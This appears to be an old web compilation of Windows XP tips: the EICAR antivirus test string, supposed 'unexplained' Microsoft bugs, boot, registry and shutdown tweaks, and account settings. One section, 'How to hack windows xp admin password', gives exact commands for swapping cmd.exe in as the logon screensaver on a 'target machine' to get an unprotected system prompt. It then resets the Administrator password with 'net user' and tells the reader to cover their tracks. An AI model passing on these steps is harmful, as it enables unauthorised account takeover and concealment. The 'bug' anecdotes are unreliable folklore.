A Trick To Check Your Antivirus Is Working Properly

Open notepad
Copy this code in the text file....

"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

without qutoes....

then save it with the name fanything.exe

If this file got deleted immediately..that means ur antivirus is working n updated

Funny Microsoft Bugs

1.
An Indian found that nobody can create a FOLDER anywhere on the Computer which can be named as "CON". This is something funny and inexplicable… At Microsoft the whole Team, couldn't answer why this happened!

TRY IT NOW, IT WILL NOT CREATE A "CON" FOLDER

2.

For those of you using Windows, do the following:
1.) Open an empty notepad file
2.) Type "Bush hid the facts" (without the quotes)
3.) Save it as whatever you want.
4.) Close it, and re-open it.

Noticed the weird bug? No one can explain!

3.

Again this is something funny and can't be explained… At Microsoft the whole Team, including Bill Gates, couldn't answer why this happened!
It was discovered by a Brazilian. Try it out yourself…
Open Microsoft Word and type

=rand (200, 99)

And then press ENTER

And see the result…..!

How to hack windows xp admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called dex and you want the password quick enter this

"net user dex quick"

and this changes the password on dex machine to quick and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

How to Display your name in taskbar instead of time

Go to:

Start -> Control Panel -> Regional and Language Options -> Customize (beside English US) ->

Go to Time tab -> Edit the AM symbol and PM symbol from AM and PM to include your name -> Apply -> OK

For example: If your name is “Superman”, set AM Symbol to “AM Superman” and PM Symbol to “PM Superman”.

Now, your name will be displayed in your Windows Taskbar, right after the time.

Enjoy!

SECRET MUSIC

Here’s a little oddity for Windows XP users with five minutes to spare. Buried deep in a system sub-folder there’s quite a pleasant little tune that you’ve probably never heard, unless you were present when Windows was being installed on your PC. After that it’s never played again, unless you know where to look for it. To hear what you’ve been missing open Windows Explorer or My Computer and work your way to C:\WINDOWS\system32\oobe\images and look for a file called ‘Title.wma’ or possibly ‘Windows welcome music.wma’. It should be around 2.56Mb in size. Double click the file and this will open Windows Media Player, or your preferred media player and proceed to regale you with a gently swooping (though somewhat repetitive) melody for the next five and a half minutes.

SAFE MODE SHORTCUT

Here’s a tip for advanced users with troublesome Windows XP Pro PCs (it also works with XP Home but see note below). Repeatedly restarting in Safe Mode can be a bit of a chore so here’s a way to add Safe Mode start to your Boot Menu. Right click My Computer, select Properties then the Advanced tab, under Startup and Recovery click the Settings button then the Edit button. Boot.ini opens in Notepad. Carefully highlight and Copy the line: ‘multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=”Microsoft Windows XP Professional” /fastdetect’. Paste the copied line immediately underneath the original and change “Microsoft Windows XP Professional” to Microsoft Windows Safe Mode”. At the end of this line add the following ‘/safeboot:minimal /sos /bootlog’ (without the quotes), Save and Exit Boot.ini, restart and Safe Mode should be listed on the Boot Menu.

 

N.B if you don’t see a Boot Menu when you start Windows XP select the option in the Startup and Recovery dialogue box (see above) by checking the item ‘Time to display Operating Systems’ and reduce the time setting to between 5 and 10 seconds.

CONTROL EXPLORER

For some reason best known to Microsoft, Windows Explorer in XP opens on My Documents, which can be incredibly frustrating if you’re trying to access the contents of your C: drive. Fortunately there is a solution, the first step is to create a desktop shortcut to Windows Explorer, so go to Start > Programs > Accessories and right click on the Explorer icon and select Send To > Desktop (Create Shortcut). Return to the desktop and right-click on the new Windows Explorer icon and select Properties. In the Target line, after explorer.exe, add the following ‘/e,c:\’, so it should now read … explorer.exe /e,c:\

(Note the space between .exe and /e, there’s a comma after the /e and it’s a backslash, not forward slash after c:). You might also want to put a copy of this shortcut onto the Quick Launch toolbar, under the Start button, to do that hold down the Ctrl key (to make a copy) then drag and drop the new Windows Explorer icon.

TIMER SHUTDOWN

Here’s a useful tip if you want to make sure your children switch the PC off at a particular time, or even limit your own usage to prompt you to go home/get to bed at a reasonable hour. XP has a built-in utility called Shutdown that can be programmed to switch the PC off after a predetermined delay. To use Shutdown go to Run on the Start menu and type ‘cmd’ (without the quotes) and this will bring up a DOS type window. Now type the following command: ‘shutdown.exe –s –t xx’, where –s is the shutdown ‘switch’, -t is the time switch and xx is the delay in seconds. So, if you want the PC to shutdown in 15 minutes, say, the command would be: ‘shutdown.exe –s –t 900’. When the Enter is pressed the countdown begins, with a dialogue box on the screen showing the time left and warning the user to save their work. For a full list of the switches available for this utility just type shutdown.exe at the command prompt.

Copy Error Messages To Clipboard

What’s the first thing you do when you see a baffling error message in Windows? If you are anything like me you’ll pick out the keywords and look it up on Google. That’s fine when it’s something simple but all too often error messages are long-winded and contain lots of gibberish, which are a pain to type into the search box The temptation, is to try and copy and paste the message, but you will find that this doesn’t work as you can’t highlight the words in an error box, but there is another way. 

 

Here’s a nifty little tweak that I came across the other day on Asp.net. From Windows 2k onwards you have been able to copy the text in error messages to the Windows Clipboard by pressing Ctrl + C, but Microsoft forgot to tell anyone. So the next time you get an indecipherable error message, just press Ctrl + C then open Notepad, WordPad, Word etc and press Ctrl + V, then you can highlight the text, and use it to search for a solution.

AUTOMATICALLY CLOSE FROZEN PROGRAMS

Worse things happen at sea, but don’t you just hate it when you shut down your XP Computer, only to be confronted with error message boxes telling you that ‘This

Program has stopped Responding’ and asking daft questions like what do you want to do about it? This tip, known as a Forced Exit, gets rid of those irritating messages and force unresponsive programs to close automatically. However, it is for Experts only because it involves tinkering with the Registry, and if you try it you do so entirely at your own risk. Actually it’s quite safe and very easy so assuming that you know what you are doing, have set a new Restore Point or backed up the Registry, proceed to Run on the Start menu. Type ‘regedit’ (sans quotes) to open the Registry Editor. Work your way to HKEY_USERS\Default\Control Panel\Desktop, double click Desktop to open in the right hand pane and look for ‘AutoEndTasks’. Double-click the key and change the Value Data from 0 to 1, Exit the Registry Editor and the change should be applied the next time you start Windows. You can undo the change by switching the Value Data back to 0 in the very unlikely event you run into problems.

CRASH AVOIDANCE

Windows XP is fairly forgiving but if you routinely have a lot of folder windows open you may find that Windows crashes or freezes when you switch between folders. This is due to the way Windows manages RAM memory; each open folder is allocated the same amount of memory, whether it needs it or not. This isn’t very efficient it puts a big stain on the CPU and memory resources when you switch between folders. You can reduce the chances of a crash by changing the way Windows handles these processes. Go to Folder Options in Control Panel and select the View tab. In the Advanced settings window scroll down the list and check the item ‘Launch folder windows in a separate process’. Click OK and it’s done.

Make XP boot even Faster

Microsoft has chosen a completely different path for XP and it's boot features by trying to incorporate as much support for newer fastboot BIOSes that are on most current motherboards. They built XP in such a way as to make it able to take advantage of features in these new BIOSes, and one of the coolest things is a small application called bootvis. bootvis.

Bootvis watches everything that loads at boot time, from the moment the OS begins to load just after POST (Power On Self-Test) to the moment you get to a usable Desktop. Some programs, most notably Norton AntiVirus 2002, suck up valuable seconds before you can actually DO anything even though you're at the Desktop. bootvis generates a trace file that you load and can then "see" a visual representation of what's happening. Every file, driver, hard drive read/write, etc., is recorded. You can then use bootvis to optimize the loading of files during the boot sequence. bootvis will rearrange the ways these very files are stored on the hard drive, thereby improving the boot time dramatically.

Disable Error Reporting

1. Open Control Panel 
2. Click on Performance and Maintenance. 
3. Click on System. 
4. Then click on the Advanced tab 
5. Click on the error-reporting button on the bottom of the windows. 
6. Select Disable error reporting. 
7. Click OK 
8. Click OK

Win XP Won’t Completely Shutdown

- Goto Control Panel, then goto Power Options.
- Click on the APM Tab, then check the "Enable Advanced Power Management support." 
- Shut down your PC. It should now successfully complete the Shut Down process.

Rename a Series of Files

When you download photos from your digital camera, they often have unrecognizable names. You can rename several similar files at once with the following procedure. This also works for renaming other types of files.

1.Open the My Pictures folder. (Click Start, and then click My Pictures.) Or open another folder containing files that you want to rename. 
2.Select the files you want to rename. If the files you want are not adjacent in the file list, press and hold CTRL, and then click each item to select it. 
3.On the File menu, click Rename. 
4.Type the new name, and then press ENTER. 


All of the files in the series will be named in sequence using the new name you type. For example, if you type Birthday, the first will be named Birthday and subsequent files in the series will be named Birthday (1), Birthday (2), and so on. To specify the starting number for the series, type the starting number in parentheses after the new file name. The files in the series will be numbered in sequence starting with the number you type. For example, if you type Birthday (10), the other files will be named Birthday (11), Birthday (12), and so on.

Create a Password Reset Disk

If you’re running Windows XP Professional as a local user in a workgroup environment, you can create a password reset disk to log onto your computer when you forget your password. To create the disk:

1.Click Start, click Control Panel, and then click User Accounts. 
2.Click your account name. 
3.Under Related Tasks, click Prevent a forgotten password. 
4.Follow the directions in the Forgotten Password Wizard to create a password reset disk. 
5.Store the disk in a secure location, because anyone using it can access your local user account.

Force users to press Ctrl-Alt-Delete to Logon

(XPPro only)


Go to start/run, 

and type control userpasswords2

Hide 'User Accounts' from users

Go to Start/Run, and type: 

GPEDIT.MSC 

Open the path 

User Config > Admin Templates > Control Panel 

doubleclick "Hide specified Control Panel applets" 

put a dot in 'enabled', then click 'Show" 

click Add button, 

type "nusrmgt.cpl" into the add box

How to Convert FAT to NTFS file system

To convert a FAT partition to NTFS, perform the following steps. 

Click Start, click Programs, and then click Command Prompt. 

In Windows XP, click Start, click Run, type cmd and then click OK. 

At the command prompt, type CONVERT [driveletter]: /FS:NTFS. 

Convert.exe will attempt to convert the partition to NTFS. 

NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).

Make your Folders Private

•Open My Computer 
•Double-click the drive where Windows is installed (usually drive (C:), unless you have more than one drive on your computer). 
•If the contents of the drive are hidden, under System Tasks, click Show the contents of this drive. 
•Double-click the Documents and Settings folder. 
•Double-click your user folder. 
•Right-click any folder in your user profile, and then click Properties. 
•On the Sharing tab, select the Make this folder private so that only I have access to it check box. 


Note

•To open My Computer, click Start, and then click My Computer. 
•This option is only available for folders included in your user profile. Folders in your user profile include My Documents and its subfolders, Desktop, Start Menu, Cookies, and Favorites. If you do not make these folders private, they are available to everyone who uses your computer. 
•When you make a folder private, all of its subfolders are private as well. For example, when you make My Documents private, you also make My Music and My Pictures private. When you share a folder, you also share all of its subfolders unless you make them private. 
•You cannot make your folders private if your drive is not formatted as NTFS For information about converting your drive to NTFS